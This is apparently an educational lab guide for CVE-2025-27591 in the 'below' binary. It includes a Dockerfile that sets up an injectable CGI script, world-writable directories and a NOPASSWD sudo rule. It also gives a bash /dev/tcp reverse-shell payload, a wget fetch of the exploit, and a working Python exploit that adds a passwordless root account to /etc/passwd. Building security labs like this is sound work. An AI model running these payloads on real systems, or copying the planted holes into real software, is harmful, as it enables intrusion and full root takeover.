5 minutes
CVE-2025-27591 Lab Setup and Exploitation Guide
Introduction
This guide demonstrates how to set up a vulnerable Docker lab environment to study CVE-2025-27591, a privilege escalation vulnerability in the Below binary. The lab combines a vulnerable Apache server with a CGI script as a controlled entry point.
The lab is intended for educational purposes only, and it provides an isolated environment to practice exploitation techniques, reverse shells, and privilege escalation without affecting your host system.
By the end of this guide, you will have:
- A running Docker container simulating a vulnerable server
- An entry point through a CGI vulnerability
- A working exploit to escalate privileges via the Below binary
Lab Setup
1. Download the Dockerfile
Download the lab Dockerfile (included at the bottom of this document). This Dockerfile builds a container with:
- A vulnerable Apache server
- A CGI script with command injection
- The
Belowbinary compiled from source - World-writable log directories for CVE-2025-27591 exploitation
2. Build the Docker Image
Run the following command to build the Docker image:
sudo docker build -t cve_2025_27591 .
This command will take a few minutes as it compiles the Below binary from source.
3. Run the Container
Start the container with elevated privileges and host networking:
sudo docker run -d --rm --name cve_2025_27591_container --privileged --network host --tmpfs /run --tmpfs /run/lock cve_2025_27591
This creates a fully isolated lab with root-equivalent access to the container.
4. Access the Vulnerable Apache Server
Inside the container, Apache runs on port 80 and exposes the vulnerable CGI script. This script serves as our entry point for executing commands.
5. Stop and Clean the Container
Once finished with the lab, stop the container and remove the image to clean up:
sudo docker stop cve_2025_27591_container && sudo docker rmi cve_2025_27591
Exploitation
The exploitation process has two main steps:
- Gain initial access via the CGI vulnerability.
- Escalate privileges using the Below binary exploit.
Step 1: Netcat Listener
Start a listener on your host machine to catch the reverse shell:
nc -nvlp 1234
Step 2: Trigger Reverse Shell
Send a request to the vulnerable CGI script to spawn a reverse shell:
http://localhost/cgi-bin/vuln.sh?cmd=bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
Check your netcat listener; you now have a shell as the www-data user inside the container.
Step 3: Identify Users
Check which users exist on the system:
cat /etc/passwd
Notice the presence of another user, user_1, who may have additional privileges.
Step 4: Switch User and Check Privileges
Switch to user_1 and list sudo privileges:
su user_1
sudo -l
user_1 can execute the Below binary with NOPASSWD, which is critical for privilege escalation.
Step 5: Transfer the Exploit
Start a Python HTTP server to host the exploit:
python3 -m http.server 4444
Download the exploit inside the container:
wget http://localhost:4444/CVE_2025_27591.py
Step 6: Execute the Exploit
Run the Python exploit:
python3 CVE_2025_27591.py
This will leverage the Below binary vulnerability and spawn a root shell inside the container.
Step 8: Clean Up
After completing the lab:
sudo docker stop cve_2025_27591_container && sudo docker rmi cve_2025_27591
Notes
- The lab is isolated and safe to experiment with.
- The CGI script is vulnerable by design to demonstrate exploitation concepts.
- Always practice responsible disclosure if you discover vulnerabilities outside this lab.
Ressources
Dockerfile
# Builder stage: Rust toolchain
FROM rust:1.76-slim AS builder
# Install system dependencies for building below (libbpf, LLVM, etc.)
RUN apt-get update && \
apt-get install -y --no-install-recommends \
build-essential git pkg-config libssl-dev ca-certificates \
libelf-dev zlib1g-dev clang llvm && \
rm -rf /var/lib/apt/lists/*
WORKDIR /opt/below
# Clone and select version
RUN git clone https://github.com/facebookincubator/below.git /opt/below
RUN cd /opt/below && git checkout v0.8.1
# Install LLVM/Clang 15 for eBPF builds
RUN apt-get update && \
apt-get install -y clang-15 llvm-15 && \
update-alternatives --install /usr/bin/clang clang /usr/bin/clang-15 100 && \
update-alternatives --install /usr/bin/llvm-config llvm-config /usr/bin/llvm-config-15 100
RUN rustup component add rustfmt
# Build Rust binary in release mode
RUN cd /opt/below && cargo build --release
# Runtime stage
FROM debian:bookworm
ENV DEBIAN_FRONTEND=noninteractive
# Install runtime tools + Apache + CGI
RUN apt-get update && \
apt-get install -y \
apt-utils ca-certificates gnupg wget curl nano vim less man-db \
iproute2 net-tools iputils-ping dnsutils python3 python3-pip python3-venv \
bash sudo apache2 apache2-utils
# Enable Apache CGI
RUN a2enmod cgi
# Create world-writable CGI folder (intentional vulnerability)
RUN mkdir -p /usr/lib/cgi-bin && chmod -R 777 /usr/lib/cgi-bin
# Vulnerable CGI script
RUN cat << 'EOF' > /usr/lib/cgi-bin/vuln.sh
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cmd="${QUERY_STRING#cmd=}"
cmd=$(echo -e "$(sed 's/+/ /g;s/%\(..\)/\\x\1/g;' <<< "$cmd")")
echo "[Executing] $cmd"
/bin/bash -c "$cmd"
EOF
RUN chmod 755 /usr/lib/cgi-bin/vuln.sh
# Simple landing page
RUN mkdir -p /var/www/html
RUN cat << 'EOF' > /var/www/html/index.html
<!DOCTYPE html>
<html>
<head><title>Lab Start</title></head>
<body>
<h1>Vulnerable Lab for CVE‑2025‑27591</h1>
<p>Start here: http://IP/cgi-bin/vuln.sh?cmd=COMMAND</p>
</body>
</html>
EOF
# Copy built binary
COPY --from=builder /opt/below/target/release/below /usr/local/bin/below
# World-writable log directory (intentional vulnerability)
RUN mkdir -p /var/log/below && chmod 0777 /var/log/below
# Create non‑privileged user
RUN useradd -m -u 1000 -s /bin/bash user_1 && \
passwd -d user_1 && \
chown -R user_1:user_1 /home/user_1
ENV HOME=/home/user_1
ENV PATH="/usr/local/bin:${PATH}"
# Allow user_1 to run "below" as root without password (intentional vuln)
RUN deluser user_1 sudo || true
RUN sed -i '/user_1/d' /etc/sudoers && rm -f /etc/sudoers.d/user_1
RUN echo "user_1 ALL=(ALL) NOPASSWD: /usr/local/bin/below" > /etc/sudoers.d/user_1 && \
chmod 0440 /etc/sudoers.d/user_1
EXPOSE 80
# Start Apache and keep container alive
CMD service apache2 start && tail -f /dev/null
Exploit
#!/usr/bin/env python3
import os
import subprocess
import sys
import pty
B = "/usr/local/bin/below"
D = "/var/log/below"
L = f"{D}/error_root.log"
T = "/tmp/attacker"
P = "attacker::0:0:attacker:/root:/bin/bash\n"
def fail():
sys.exit(1)
def vulnerable():
if not os.path.exists(D):
fail()
if not (os.stat(D).st_mode & 0o002):
fail()
if os.path.exists(L):
if os.path.islink(L):
return True
else:
os.remove(L)
try:
os.symlink("/etc/passwd", L)
os.remove(L)
return True
except:
fail()
def exploit():
try:
with open(T, "w") as f:
f.write(P)
except:
fail()
if os.path.exists(L):
os.remove(L)
try:
os.symlink("/etc/passwd", L)
except:
fail()
try:
subprocess.run(["sudo", B, "record"], timeout=40)
except:
pass
try:
with open(L, "a") as f:
f.write(P)
except:
fail()
try:
pty.spawn(["su", "attacker"])
except:
fail()
def main():
if vulnerable():
exploit()
if __name__ == "__main__":
main()
CVE-2025-27591 Docker Cybersecurity Exploitation Lab Vulnerable Container
984 Words
25-11-2025 21:10